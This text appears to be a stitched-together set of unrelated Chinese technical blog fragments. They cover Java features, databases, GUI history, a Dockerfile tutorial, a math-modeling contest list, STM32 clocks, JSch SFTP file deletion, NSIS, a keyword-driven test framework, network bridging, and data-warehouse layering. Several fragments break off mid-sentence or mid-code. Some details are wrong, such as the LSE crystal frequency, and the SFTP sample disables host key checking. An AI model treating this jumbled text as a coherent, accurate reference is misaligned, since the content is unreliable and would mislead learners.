Java语言在语法上借鉴了C++的很多概念,但是它摒弃了C++中一些复杂和容易出错的部分,使得Java语言更加简洁易懂。Java语言采用了许多优秀的编程概念,如面向对象编程、强类型检查、动态绑定、静态类型检查等。这些概念的引入使得Java程序更加结构化、可读性和可维护性。
Java语言的一个非常重要的特点是跨平台性。Java程序在编译后生成的字节码可以在任何支持Java虚拟机(JVM)的平台上运行,而不需要重新编译。这一特性使得Java程序可以轻松地在不同的操作系统、硬件和网络环境中运行,大大提高了程序的灵活性和可移植性。
Java语言是一种真正的面向对象编程语言,具有封装、继承和多态等面向对象的概念和特征。通过面向对象编程,程序可以更好地模拟现实世界中的各种概念和对象,使得程序更加易于理解和维护。
Java语言具有自动的内存管理机制,即垃圾回收器。程序员无需手动管理内存,垃圾回收器会自动识别并回收不再使用的内存资源。这一特性大大减轻了程序员的工作负担,避免了内存泄漏和野指针等问题。
Java语言提供了强大的多线程支持,使得程序能够同时执行多个任务。多线程可以提高程序的性能和响应能力,特别是在需要处理大量并行任务的情况下,Java的多线程功能可以大大提高程序的效率和速度。
Java拥有众多的类库和应用程序接口(API),这些类库和API涵盖了各种功能和领域,包括输入输出、文件操作、网络通信、数据库访问、图形界面等。这些类库和API的使用可以大大简化程序开发工作,提高开发效率。
Java语言对安全性有着很高的重视,在设计上考虑了各种安全因素,如通过字节码验证、安全管理器等机制来防止恶意代码的执行。此外,Java还提供了加密和数据压缩等功能,确保了程序的安全性和可靠性。
Java语言在分布式计算方面具有强大的功能。Java提供了RMI(远程方法调用)和EJB(企业Java组件)等技术,使得Java程序可以轻松地与其他Java程序进行交互,实现了分布式计算的目标。此外,Java还提供了对网络协议的支持,如HTTP、FTP等,使得Java程序可以轻松地与互联网进行交互。
总的来说,Java语言是一种通用的、高效的、可移植的编程语言,具有强大的功能和良好的安全性。它在各个领域得到广泛应用,特别在Web开发、移动应用开发和企业应用开发领域占据主导地位。同时,Java语言还是学习编程和软件开发的理想选择,因为它的易学性和广泛的应用使得学习资源丰富且机会多样。
B.数据库技术 数据库技术是一种用于存储、管理和操作数据的技术,它包括数据库管理系统、数据模型、数据库设计、查询语言、索引、事务、安全性、备份与恢复和性能优化等方面。下面将按照以上格式详细介绍数据库技术。
数据库管理系统(DBMS):
数据库管理系统是一种软件工具,用于管理和操作数据库。它提供了定义、创建、修改和访问数据库的功能。DBMS可以实现数据的添加、删除、查询和更新操作,还可以提供数据安全性保护、事务管理、并发控制等功能。常见的DBMS包括Oracle、MySQL、SQL Server等。数据模型:
数据模型是描述和组织数据的形式化表示。常见的数据模型包括层次模型、网状模型、关系模型和对象模型等。其中,关系模型是最常用的数据模型,它将数据组织成表格形式,通过定义表格之间的关系来表示数据之间的联系。关系模型包括关系数据结构、关系操作和关系完整性约束等三个方面。数据库设计:
数据库设计是指在数据库系统中创建数据库的过程。它涉及到确定数据的结构、属性、关系和约束等。良好的数据库设计可以提高数据查询和操作的效率,减少数据冗余和不一致性。数据库设计包括需求分析、概念设计、逻辑设计和物理设计等几个阶段。在概念设计中,可以使用E-R图来表示实体和它们之间的关系。在逻辑设计中,可以使用关系模式来表示数据之间的联系。在物理设计中,需要根据实际存储环境和性能需求来设计数据库的结构和存储方式。数据库查询语言(SQL):
数据库查询语言是用于查询和操作数据库的语言。常见的查询语言包括结构化查询语言(SQL)和面向对象的查询语言(OQL)。SQL是一种标准查询语言,它可以用于查询表格中的数据、插入新的数据、更新现有数据、删除数据等操作。SQL包括SELECT、INSERT、UPDATE、DELETE等语句,还可以使用条件语句、循环语句等来编写复杂的查询程序。数据库索引:
数据库索引是一种用于加速查询操作的数据结构。它可以帮助数据库系统快速定位需要查询的数据。常见的索引结构包括B树索引、哈希索引和全文索引等。索引可以大大提高查询速度,但是也会占用一定的存储空间和维护成本。因此,在选择索引时需要根据实际情况进行权衡和优化。数据库事务:
数据库事务是一系列对数据库的操作,它要么全部执行成功,要么全部回滚。事务可以确保数据库操作的原子性、一致性、隔离性和持久性。事务的ACID特性是数据库系统保证数据完整性的重要机制。在事务执行过程中,需要保证并发访问的正确性,避免出现死锁和其他并发问题。数据库安全性:
数据库安全性是指保护数据库免受非法访问、损坏和数据泄露的能力。数据库系统提供了用户身份验证、权限管理和数据加密等安全机制,以确保数据的完整性和机密性。用户身份验证可以验证用户的身份,确保只有授权用户可以访问数据库。权限管理可以控制用户的访问权限,避免非授权访问和数据泄露。数据加密可以保护数据的机密性,防止数据被非法获取和使用。数据库备份与恢复:
数据库备份与恢复是保护数据库免受数据丢失和系统故障的措施。数据库备份可以将数据库的副本保存到其他存储设备中,以防止数据损坏。当数据库出现故障时,可以通过恢复机制还原数据库到之前的状态。恢复机制包括基于日志的恢复、基于备份的恢复等技术,可以根据实际情况选择合适的恢复策略。数据库性能优化:
数据库性能优化是提高数据库系统的查询和操作效率的过程。通过设计良好的数据库结构、优化查询语句和配置合理的索引,可以提高数据库的响应速度和吞吐量。性能优化包括硬件环境优化、操作系统优化、SQL优化等几个方面。在SQL优化中,可以使用EXPLAIN语句分析查询语句的执行计划,根据执行计划来优化SQL语句的性能。 数据库技术在各个领域都得到广泛应用。在企业中,数据库技术被广泛应用于企业资源计划(ERP)系统、客户关系管理(CRM)系统和供应链管理系统等。在互联网领域,数据库技术被用于支持大规模的数据存储和管理,如社交网络、电子商务和大数据分析等。在科研和教育领域,数据库技术被用于创建和管理科学数据和图书馆资源。
随着互联网技术和大数据技术的发展,数据库技术也在不断发展和创新。分布式数据库、云数据库和NoSQL数据库等新型数据库技术不断涌现,适应了不同的应用需求。同时,随着数据安全和隐私保护的需求增加,数据库安全性技术也在不断提高和完善。
总之,数据库技术是一种用于存储、管理和操作数据的重要技术。它包括数据库管理系统、数据模型、数据库设计、查询语言、索引、事务、安全性、备份与恢复和性能优化等方面。数据库技术在各个领域都得到广泛应用,提高了数据管理和查询的效率,保护了数据的安全性和完整性,推动了信息化和数字化的发展。
C.GUI技术 GUI技术是指图形用户界面(Graphical User Interface,简称GUI)技术。GUI是一种基于图形的用户界面,使用图形化方式展示信息和用户交互。与命令行界面(CLI)不同,GUI通过点击、拖放、选择等图形化操作方式来实现用户与计算机的交互。GUI技术使得用户能够更加直观、方便地使用计算机,同时也提高了用户的工作效率。
以下是GUI技术的发展历程和介绍:
早期的GUI技术 早期的GUI技术主要包括Windows 3.1和Mac OS 9等。这些操作系统提供了一些基本的GUI元素,如窗口、按钮、菜单、文本框等。这些元素都是基于位图或矢量图形技术实现的。这些技术的优点是简单易用,可以提供较为直观的用户界面,但是也存在一些缺点,如缺乏跨平台支持、性能较差、可扩展性差等。
GUI技术的成熟 随着计算机技术的不断发展,GUI技术也得到了不断的完善和发展。其中,最为著名的GUI技术是Mac OS X和Windows XP。这些操作系统提供了更为丰富的GUI元素,如窗口管理、桌面环境、通知区域、任务栏等。同时,这些操作系统也提供了更为强大的图形处理能力,如OpenGL、DirectX等。这些技术的优点是提供了更为强大和灵活的用户界面,同时也提高了系统的性能和稳定性。
Web GUI技术 随着互联网技术的不断发展,Web GUI技术也得到了广泛的应用。Web GUI技术是基于Web技术的图形用户界面实现技术。其中,最为著名的Web GUI技术是HTML、CSS和JavaScript。这些技术通过将Web页面中的元素以图形化方式展示给用户,并且实现了用户与Web页面的交互。这些技术的优点是跨平台、易于维护和使用,同时也提高了用户的工作效率。
文章目录 前言一、前置知识常用的DockerFile指令二、准备jar包1.检查Docker中Java的基础镜像2.测试项目是否正常运行3.将项目打成jar包 三、开始编写DockerFile文件1.创建一个名为DockerFile且没有后缀名的文件2.编写DockerFile文件的内容3.将DockerFile文件和jar包放到一个文件夹中4.开始打包5.运行镜像并测试 总结 前言 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
本文将使用Dokcer对SpringBoot项目进行打包
一、前置知识常用的DockerFile指令 FROM #基础镜像 MAINTAINER #镜像的创作者,姓名+邮箱 RUN #镜像构建时需要运行的命令,比如提前用yum安装工具之类的 WORKDIR #镜像的工作目录 VOLUME #挂载的目录 EXPOSE #暴露的端口 二、准备jar包 提示:打包前务必先确保项目能够正常运行,将其打成jar包后,再运行确认一次。
1.检查Docker中Java的基础镜像 如果没有则拉取Java镜像
docker pull docker.io/lwieske/java-8 2.测试项目是否正常运行 3.将项目打成jar包 三、开始编写DockerFile文件 1.创建一个名为DockerFile且没有后缀名的文件 2.编写DockerFile文件的内容 FROM lwieske/java-8:latest ADD kplayer-api-0.0.1-SNAPSHOT.jar /test.jar #类似更名的操作 MAINTAINER KKK<12345678@qq.com> EXPOSE 9000 #此处是暴露的项目端口号,根据自己的修改 ENTRYPOINT ["java","-jar","/test.jar"] 3.将DockerFile文件和jar包放到一个文件夹中 4.开始打包 docker build -f DockerFile -t test:1.0 . #一定要注意,最后有一个"小点" 5.运行镜像并测试 docker run -d -p 9000:9000 --name "test" test:1.0 总结 例如:以上就是今天要讲的内容,本文仅仅简单介绍了DockerFile的使用,希望大家多多点赞,收藏支持。
2023年上半年数学建模竞赛题目汇总与难度分析 由于近年来国赛ABC题出题方式漂浮不定,没有太大的定性,目前总体的命题方向为,由之前的单一模型问题变为数据分析+评价+优化或者预测类题目是B、C题的主要命题方向。为了更好地把握今年命题的主方向,这里为大家整理了2023年美赛之后所有的数模竞赛的赛题题目、解题思路、部分赛题论文、赛题难度。为了更好的帮助大家助力今年国赛。
赛题难度,由山东赛区四位参与过赛区评审的数模老师,以及四位美M、国一队伍的建模手进行打分,对于打分结果采用熵权法计算权重进行加权,最终得出的综合得分。由于,多位老师偏向优化方向,部分很难得优化问题可能评分并不高,希望大家理解。
熵权法得到结果,放于文末进行展示。
以下为最终结果
一、2023年第十三届MathorCup高校数学建模挑战赛 妈杯是一个偏向于优化问题的,专业性较强的数模竞赛,适合当作练手筹备国赛。
1.A 题 量子计算机在信用评分卡组合优化中的应用
全文都是优化问题,类似于国赛2003B。纯优化问题国赛中近几年已经不常见了。因此,只适合练习优化。
赛题:2023年第十三届MathorCup A题赛题
思路:2023年MathorCup数模A题赛题详细思路
2.B 题 城市轨道交通列车时刻表优化问题
全文优化问题,类似于A题,纯优化问题。
赛题:2023年MathorCup数模B题赛题
思路:2023年MathorCup数模B题赛题
3.C 题 电商物流网络包裹应急调运与结构优化问题
以近两年最热门的快递运输问题为背景,优化问题,与AB相同。
赛题:2023 年第十三届 MathorCup C题赛题
思路:2023年MathorCup数模C题赛题
4.D 题 航空安全风险分析和飞行技术评估问题
数据问题+评估预测。问题一数据预处理,加后续的评价评估 预测。类似于国赛BC题,想要选择BC题的,可以针对性选择D题作为备战赛题进行练手。
赛题:2023 年第十三届 MathorCup D题赛题
思路:2023年MathorCup数模D题赛题解题思路
二、“认证杯”数学中国数学建模网络挑战赛 认证杯由数学中国举办,赛事规模赛题难度在数模界一直中规中矩。竞赛优点,所有论文全部公开,大家选择该赛事当作练手题目,可以随意查阅已经写完的论文,资料方面是非常全面的。分为两阶段,这里为了方便起见,将两阶段赛题统一进行解释说明。
2023认证杯二阶段选题人数发布
5.A题 碳板跑鞋
一阶段属于 数据查询+特征提取+评价问题;二阶段引入了优化问题。一阶段数据自行查找并不是国赛的出题方式,通常美赛会这样。国赛通常类似于二阶段这样的问题,可以选择二阶段的赛题当作练手。
赛题:2023 年“认证杯”数学中国数学建模网络挑战赛 A题 碳板跑鞋
思路:可以参考官网公布的论文资料
6.B题 考订文本
文本类题目在数模界一直属于很特别的存在,国赛目前还没有涉及到。美赛每年都会有一道文本类题目,这种题目需要自行将文本文件转化为数据,进行后续的研究。因此,国赛练手的话并不推荐。
赛题:2023 年“认证杯”数学中国数学建模网络挑战赛 B题 考订文本
思路:可以参考官网公布的论文资料
7.C题 心脏危险事件
一阶段 评估评价+异常值判定;二阶段分类模型。将一二阶段赛题连接起来,就可以看作一道国赛题目。综合来看,一二阶段连接后,难度与国赛难度相当,题量略大于国赛。
赛题:2023 年“认证杯”数学中国数学建模网络挑战赛 C题赛题
思路:2023年认证杯C题超详细思路配有实现代码
8.D题 立体车库的自动调度问题
STM32时钟系统的概述 概念 时钟系统是由振荡器(信号源)、定时唤醒器、分频器等组成的电路。
常用的信号有晶体振荡器和RC振荡器。
意义 时钟是嵌入式系统的脉搏,处理器内核在时钟驱动下完成指令执行,状态变换等动作,外设部件在时钟的驱动下完成各种工作,比如串口数据的发送A/D转换、定时器计数等等。因此时钟对于计算机系统是至关重要的,通常时钟系统出现问题也是致命的,比如振荡器不起振、振荡器不稳、停振等。
常见振荡器简介 概念 振荡器是用来产生重复电子讯号的电子元件。其构成的电路叫振荡电路,能将直流电转换为具有一定频率交流信号输出的电子电路或装置。
分类 振荡器主要分为RC、LC振荡器和晶体振荡器。
RC振荡器采用RC网络作为选频移相网络的振荡器。
LC振荡器是采用LC振荡回路作为移相选频网络的正反馈振荡器。
晶体振荡器的振荡频率收石英晶体控制。
RC振荡器 RC振荡器是由电阻电容构成的振荡电路,能将直流电转换为具有一定频率交流信号输出的电子电路或装置。
优点:实现成本比较低,毕竟就是一个电阻电容。
缺点:由于电阻电容的精度问题所以RC振荡器的振荡频率会有误差,同时受温度、湿度影响。
LC振荡器 LC振荡器使用一个电感(L)和一个电容(C)组成的电路。
工作原理是通过电感和电容之间的相互作用来产生振荡信号。
当电容充电时,它会储存能量,并通过电感释放能量。
LC振荡器的频率由电感和电容的数值决定。
晶体振荡器 石英晶体振荡器是高精度和高稳定度的振荡器,被广泛应用于彩电、计算机等各类振荡器电路中,以及在通信系统中用于频率发生器、为数据处理设备产生时钟信号和特定系统提供基准信号
优点 :相对来说振荡频率一般都比较稳定,同时精度也较高。
缺点:价格稍微较高,晶体振荡器一般还需要接两个15~33pf起振电容。
STM32F0时钟源介绍 STM32中有四个时钟源:
HSI:高速内部时钟,RC振荡器,频率为8MHz;
HSE:高速外部时钟,可以石英 / 陶瓷振荡器,或者接外部时钟源,频率范围为4MHz~16MHz
LSI:低速内部时钟,RC振荡器,频率为40KHz。独立看门狗时钟源智能是这个,还可以做RTC时钟源
LSE:低速外部时钟,接37.768KHz的石英晶体。主要是RTC的时钟源
STM32时钟树(部分):
SysTick定时器 概念 定时器,能够定时、计数的器件称为定时器
SysTick,称作系统滴答定时器。是一个定时设备,位于Cortex - M0内核中,可以对输入的时钟进行计数,当然,如果时钟信号是周期性地,计数也就是计时。
系统定时器一般用于操作系统,用于产生时基,维持操作系统的心跳。根据这个中断,系统就可以实现时间片的计算从而切换进程。
工作原理 滴答定时器是一个24位定时器,也就是最多能计数2^24.在使用的时候,我们一般给计数器一个初始的计数值,计数器向下计数,每来一个时钟信号,计数初值就减一,计数值减到0的时候,就会触发一次中断。然后重新计数初值再减一计数,循环不断。
原理图 SysTick寄存器 SysTick定时器初始化 // Main中已经实现对SysTick定时器的初始化 void SystemClock_Config(void) HAL_SYSTICK_Config(HAL_RCC_GetHCLKFreq()/1000); SysTick_Config(TicksNumb); SysTick中断相关 HAL_Delay()函数 //利用SysTick实现精准的延时 __weak void HAL_Delay(__IO uint32_t Delay) { uint32_t tickstart = 0U; tickstart = HAL_GetTick(); while((HAL_GetTick() - tickstart) < Delay) ; } HAL_Delay() 的局限 HAL库的延时函数有一个局限性,在中断服务函数中使用HAL_Delay会引起混乱,因为它是通过中断方式实现,而 Systick 的中断一般操作系统优先级是最低的,所以在中断中运行 HAL_Delay会导致死锁的现象。
在Java中,你可以使用JSch库来实现通过SFTP协议删除服务器上的文件。以下是一个简单的示例代码:
import com.jcraft.jsch.Channel;
import com.jcraft.jsch.ChannelSftp;
import com.jcraft.jsch.JSch;
import com.jcraft.jsch.Session;
public class SFTPFileDeleter {
public static void main(String[] args) {
String host = "服务器主机名或IP地址";
int port = 22;
String username = "用户名";
String password = "密码";
String filePath = "/要删除的文件路径/文件名";
try {
JSch jsch = new JSch();
Session session = jsch.getSession(username, host, port);
session.setPassword(password);
session.setConfig("StrictHostKeyChecking", "no");
session.connect();
Channel channel = session.openChannel("sftp");
channel.connect();
ChannelSftp sftpChannel = (ChannelSftp) channel;
sftpChannel.rm(filePath);
sftpChannel.disconnect();
session.disconnect();
1、软件安装 (1)需要安装NSIS安装包制作软件
下载地址如下,安装比较简单,直接下载安装即可,比较简单,这里不作叙述。
Download - NSIS (sourceforge.io)https://nsis.sourceforge.io/Download
(2)需要安装VNISEdit安装包制作程序扩展软件
下载地址如下,这个安装也比较简单,不详细说明了。
HM NIS Edit: A Free NSIS Editor/IDE (sourceforge.net)https://hmne.sourceforge.net/
2、操作步骤(参考链接) 可以通过VNISEdit的可视化配置操作来创建程序的安装包,详细步骤,前人已经介绍比较详细,这里仅给出链接既可。
NSIS制作安装包笔记(一):NSIS介绍、使用NSIS默认向导脚本制作Windows安装包 - 知乎 (zhihu.com)https://zhuanlan.zhihu.com/p/370305620详细介绍:使用NSIS和VNISEdit制作一个安装包,学来不亏,建议收藏!_Ark_py的博客-CSDN博客https://blog.csdn.net/weixin_46847476/article/details/105537269
目录:导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜) 前言 1、关键字驱动框架简介
原理及特点:
①关键字驱动测试是数据驱动测试的一种改进类型,它也被称为表格驱动测试或者基于动作字的测试。
②主要关键字包括三类:被操作对象(Item)、操作行为(Operation)和操作值(Value),用面向对象形式可将其表现为 Item.Operation(Value)。
③将测试逻辑按照这些关键字进行分解,形成数据文件。
④用关键字的形式将测试逻辑封装在数据文件中,测试工具只要能够解释这些关键字即可对其应用自动化。
优势:
①执行人员可以不需要太多的技术:一旦框架建立,手工测试人员和非技术人员都可以很容易的编写自动化测试脚本。
②简单易懂:它存在 Excel 表格中,没有编码,测试脚本容易阅读和理解。关键字和操作行为这样的手工测试用例,使它变得更容易编写和维护。
③早期介入:可以在应用未提交测试之前,就可以建立关键字驱动测试用例对象库,从而减少后期工作。使用需求和其它相关文档进行收集信息,关键字数据表可以建立手工测试程序。
④代码的重用性:用关键字的形式将测试用例及数据进行组装并解释执行,提高代码的可重用性。
2、框架结构说明
框架结构:
整个测试框架分为四层,通过分层的方式,测试代码更容易理解,维护起来较为方便。
第一层是“测试工具层”:
util 包:用于实现测试过程中调用的工具类方法,例如读取配置文件、页面元素的操作方法、操作 Excel 文件、生成测试报告、发送邮件等。
conf 包:配置文件及全局变量。
log 目录:日志输出文件。
exception_pic 目录:失败用例的截图保存目录。
第二层是“服务层”:
相当于对测试对象的一个业务封装。对于接口测试,是对远程方法的一个实现;对于 UI 测试,是对页面元素或操作的一个封装。
action 包:封装具体的页面动作,如点击、输入文本等。
第三层是“测试用例逻辑层”:
该层主要是将服务层封装好的各个业务对象,组织成测试逻辑,进行校验。
bussiness_process 包:基于关键字的形式,实现单条、多条用例的测试脚本逻辑。
test_data 目录:Excel 数据文件,包含用例步骤、被操作对象、操作动作、操作值、测试结果等。
第四层是“测试场景层”:
将测试用例组织成测试场景,实现各种级别 cases 的管理,如冒烟,回归等测试场景。
main.py:本框架工程的运行主入口。
框架特点:
①基于关键字测试框架,即使不懂开发技术的测试人员也可以实施自动化测试,便于在整个测试团队中推广和使用自动化测试技术,降低自动化测试实施的技术门槛。
②使用外部测试数据文件,使用Excel管理测试用例的集合和每个测试用例的所有执行步骤,实现在一个文件中完成测试用例的维护工作。
③通过定义关键字、操作元素的定位方式和定位表达式和操作值,就可以实现每个测试步骤的执行,可以更加灵活地实现自动化测试的需求。
④基于关键字的方式,可以进行任意关键字的扩展,以满足更加复杂的自动化测试需求。
⑤实现定位表达式和测试代码的分离,实现定位表达式直接在数据文件中进行维护。
⑥框架提供日志功能,方便调试和监控自动化测试程序的执行。
3、框架代码实现
action 包
action 包为框架第二层“服务层”,相当于对测试对象的一个业务封装。对于接口测试,是对远程方法的一个实现;对于 UI 测试,是对页面元素或操作的一个封装。
page_action.py
本模块基于关键字格式,封装了页面操作的常用函数,如打开 APP、点击、输入文本等。
import traceback import os import time from appium import webdriver from util.
网络基础知识
桥接网络 桥接网络是一种网络设计技术,其目的是将两个或多个网络段连接在一起,使它们在逻辑上表现为单个网络。这通过使用网络桥来实现,网络桥工作在数据链路层(第2层),只关心MAC地址,而不关心IP地址。
下面是桥接网络如何工作的详细解释:
1. 识别问题 假设你有两个不同的局域网段,每个段上都有一些设备,它们彼此间无法直接通信。你希望这两个网络段能够彼此通信,就像它们是单个网络一样。
2. 引入桥接设备 要解决这个问题,你可以使用一个网络桥接设备(简称桥)。桥是一个智能设备,能够了解来自每个网络段的数据流,并了解如何将这些数据流相互连接。
3. 学习和转发 桥的工作方式如下:
a. 学习阶段:桥监听每个连接的网络段,学习每个端口上的设备MAC地址。通过这种方式,桥知道每个MAC地址属于哪个网络段。
b. 转发阶段:当桥收到一个数据帧时,它查看目的MAC地址,然后使用学习到的信息确定如何转发该帧。如果目标MAC在同一侧的网络段,桥不会转发。如果目标MAC在另一侧的网络段,桥会将帧转发到适当的端口。
4. 透明桥接 桥接通常是透明的,意味着网络上的设备不知道桥的存在。它们只是正常发送和接收数据帧,就像所有设备都在同一个局域网上一样。
5. 优势与使用场景 桥接网络在许多情况下非常有用。例如,当你想将不同楼层或不同建筑物的网络连接在一起时,或者当你使用虚拟化技术时,例如在虚拟机之间进行通信。
总的来说,桥接网络是一种将多个物理或逻辑网络段连接为一个统一的逻辑网络的方法。它在MAC地址级别工作,提供了一种简单有效的方式来增强和扩展局域网的连接性。
`桥如何监听每个连接网络段的? 它为什么能做到这点? 它又是如何能在不同网络段内实现通信的?它的通信原理和通信细节是怎么样的? 桥接设备(网络桥)的功能确实相当有趣且复杂
1. 如何监听每个连接的网络段 网络桥有多个端口,每个端口连接到网络的一个段。当数据帧在这个段中传输时,桥的端口会"监听"这些帧。
学习MAC地址:桥会检查每个经过的数据帧的源MAC地址。这些地址用于构建一个表,其中记录了每个MAC地址与桥的哪个端口相关联。这就是所谓的MAC地址表。
转发决策:当桥收到要转发的帧时,它会查看目标MAC地址,并参照MAC地址表决定如何转发。如果目标MAC地址与发送端在同一个端口,则该帧被丢弃。如果目标在另一个端口,则帧被转发到该端口。
2. 为什么能做到这一点 网络桥工作在OSI模型的第2层,也就是数据链路层。在这一层,通信是通过物理地址(MAC地址)进行的,而不是通过IP地址。由于桥接设备理解这一层的协议,因此它能够分析经过其端口的每个数据帧,并做出相应的转发决策。
3. 如何在不同网络段内实现通信 通过学习MAC地址,并将它们与特定的端口关联,桥接设备能够了解如何在不同的网络段之间转发帧。
如果目标MAC地址与源MAC地址在同一网络段(同一端口),则桥不会转发该帧。
如果目标MAC地址在不同的网络段(不同端口),则桥会将该帧转发到与目标MAC地址关联的端口。
4. 通信原理和细节 在更技术的层面上,桥接设备使用了以下几个主要步骤来执行其功能:
学习:通过不断监听经过的数据帧,桥学习了网络的拓扑结构。
转发/过滤:根据目标MAC地址的位置,桥要么转发数据帧,要么丢弃它。
隔离碰撞域:通过将每个端口视为单独的碰撞域,桥有助于降低网络拥塞。
可选的跨越VLAN:在更高级的设置中,桥还可以理解虚拟局域网(VLAN)标签,并据此做出转发决策。
总之,桥接设备通过监听和学习MAC地址,能够智能地在不同的网络段之间转发数据帧。这一过程允许不同的物理网络段在逻辑上作为一个单一的网络操作,从而实现了更灵活的网络设计和更高的效率。
桥接通常是透明的这里透明的是什么意思? 如何做到透明的? 在网络中,当我们说桥接(Bridging)是"透明的",我们是指网络桥接设备对于位于局域网内的主机和其它网络设备来说是不可见的。换句话说,当数据在网络上流动时,主机不需要知道存在桥接设备,也不需要特别的配置来与桥接设备交互。桥接的透明性有以下特点:
**自动工作:**网桥设备能够自动学习网络上的MAC地址,并决定如何将帧转发到正确的目的地。它们不需要任何特殊的配置或管理。
**不改变数据包:**当数据包通过网桥时,网桥通常不会改变数据包的内容。数据包的源和目的MAC地址保持不变。
**透明转发:**网桥基于MAC地址表进行决策,以确定如何转发帧。这个过程对于发送和接收数据包的设备来说是透明的。
**不影响主机配置:**主机不需要任何特殊的配置或软件来与网桥设备协同工作。网桥与主机间的交互对主机来说是不可见的。
**与路由器的区别:**与路由器不同,网桥工作在数据链路层,并且不涉及IP地址的处理。因此,它们在网络中的存在对主机来说是透明的,而路由器在网络层工作,并可能需要更复杂的配置和交互。
**不干扰现有的网络结构:**网桥可以很容易地添加到现有网络中,以连接不同的局域网段,而不会干扰现有的网络结构和配置。
透明桥接的这些特点使得它成为连接不同局域网段或隔离网络流量的一个简单而有效的解决方案。它允许网络管理员灵活地扩展和管理网络,同时对终端用户的影响最小。
网桥的转发和局域网内寻址会不会在传输数据包存在冲突? 如何解决冲突的即数据包是由局域网内寻址还是通过网桥转发, 如果网桥转发了数据包, 那么这个数据包如果是同一个网段内的,它如何保证数据到达正确的位置?我想问的是首先局域网内寻址,还是优先网桥寻址? 是按顺序寻址,还是同时局域网内和网桥一起传输寻址
网桥(或交换机)的工作方式确保了在数据包传输过程中的寻址不会与局域网内的寻址冲突。以下是如何实现的细节:
**MAC地址学习:**网桥会自动学习网络上连接设备的MAC地址。当一个数据帧到达网桥的某个端口时,网桥会查看源MAC地址,并在其内部的地址表中记录该MAC地址与到达的端口之间的关联。
**基于MAC地址转发:**当网桥需要转发一个数据帧时,它会查看目的MAC地址,并在其地址表中查找与该地址关联的端口。如果找到匹配的端口,帧将仅转发到该端口。如果目标MAC地址与发送端在同一个端口,则该帧被丢弃(因为接收者与发送者在同一网段,不需要通过网桥)。如果目的MAC地址不在表中,则帧将在所有端口上广播(除了到达的端口)。
**冲突的解决:**网桥只转发到正确的端口,不会在不必要的端口上广播帧。这消除了数据帧的冲突,并减少了网络上的流量。当两个设备在同一个网段内通信时,由于它们的MAC地址关联的是同一个端口,网桥就会知道不需要转发该帧。
**隔离冲突域:**网桥还通过将每个端口视为单独的冲突域来减少冲突。如果在一个端口上检测到冲突,它不会传播到其他端口。
VisualStudio 2019是微软的集成开发环境(IDE),通常在Windows操作系统上使用。然而,并不直接支持在Linux上安装。如果想在Ubuntu上进行开发,可以考虑以下几个选项:
使用替代的IDE或文本编辑器: Ubuntu上有许多适用于C++等编程语言的开发工具,比如
Visual Studio Code、 Code.:Blocks、 Eclipse等。
使用虚拟机或容器: 如果你非常需要使用Visual Studio 2019,可以在Ubuntu上安装虚拟机软件(比如VirtualBox) 或容器平台(比如Docker) ,然后在虚拟机或容器中运行Windows,再在其中安装Visual Studio 2019。
使用Wine: Wine是一款允许在Linux上运行Windows应用程序的兼容层。你可以尝试使用Wine来安装和运行Visual Studio 2019,但请注意,并不是所有Windows应用程序都能在Wine下正常工作作。
使用双系统: 如果你需要长期在Linux上开发,但又需要使用VisualStudio 2019,可以考虑在计算机上设置双系统,一边运行Ubuntu,一边运行Windows
使用nano 文本编辑器创建文件,然后在终端中进行运行代码 gcc cuda example.cu -o cuda example/usr/bin/ld:cuda_example.cu: file format not recognized; treating as linker script/usr/bin/ld:cuda example.cu:5: syntax errorcollecto: error:ld returned i exit status 类似于上述错误信息,说明使用
~gcc尝试编译CUDA代码文件cuda_example.cu’,
但
~gcc无法直接编译CUDA代码。
CUDA代码需要使用NVIDIA的nvcc~编译器进行编译,因为它包含了CUDA特定的语法和功能。
编译运行CUDA代码,您需要使用NVIDIA的~nvce”编译器,而不是gcc”。
利用nvcc编译运行代码的步骤 示例代码如下
//本示例演示了如何使用 OpenMP API 为多个 GPU 编写应用程序 #include <iostream> #include <omp.h> #include <stdio.h> // 使用 stdio 函数,因为 C++ 流不一定是线程安全的 #define checkCudaErrors(err) __checkCudaErrors(err, __FILE__, __LINE__) inline void __checkCudaErrors(cudaError_t err, const char *file, int line) { if (err !
数仓建设规范 一、 数据模型架构原则1. 数仓分层原则2. 主题域划分原则3. 数据模型设计原则 二、 数仓公共开发规范1. 层次调用规范2. 数据类型规范3. 数据冗余规范4. NULL字段处理规范5. 指标口径规范6. 数据表处理规范 四、数仓命名规范1. 词根设计规范 一、 数据模型架构原则 1. 数仓分层原则 一个好的分层架构,要有以下好处:
清晰数据结构;数据血缘追踪;减少重复开发;数据关系条理化;屏蔽原始数据的影响。 数仓分层要结合公司业务进行,并且需要清晰明确各层职责。
数仓建模是在DW层进行,所以DW层是数仓建设的核心层。
(1) 数据源层:ODS(Operational Data Store)
ODS 层,是最接近数据源中数据的一层,为了考虑后续可能需要追溯数据问题,因此对于这一层就不建议做过多的数据清洗工作,原封不动地接入原始数据即可。
(2) 数据仓库层:DW(Data Warehouse)
数据仓库层是我们在做数据仓库时要核心设计的一层,在这里,从 ODS 层中获得的数据按照主题建立各种数据模型。
DW 层又细分为 DWD(Data Warehouse Detail)层、DWM(Data WareHouse Middle)层和 DWS(Data WareHouse Servce) 层。
1) 数据明细层:DWD(Data Warehouse Detail)
该层一般保持和 ODS 层一样的数据粒度,并且提供一定的数据质量保证。DWD 层要做的就是将数据清理、整合、规范化、脏数据、垃圾数据、规范不一致的、状态定义不一致的、命名不规范的数据都会被处理。
同时,为了提高数据明细层的易用性,该层会采用一些维度退化手法,将维度退化至事实表中,减少事实表和维表的关联。
另外,在该层也会做一部分的数据聚合,将相同主题的数据汇集到一张表中,提高数据的可用性 。
2) 数据中间层:DWM(Data WareHouse Middle)
该层会在 DWD 层的数据基础上,数据做轻度的聚合操作,生成一系列的中间表(原子指标层),提升公共指标的复用性,减少重复加工。
直观来讲,就是对通用的核心维度进行聚合操作,算出相应的统计指标。
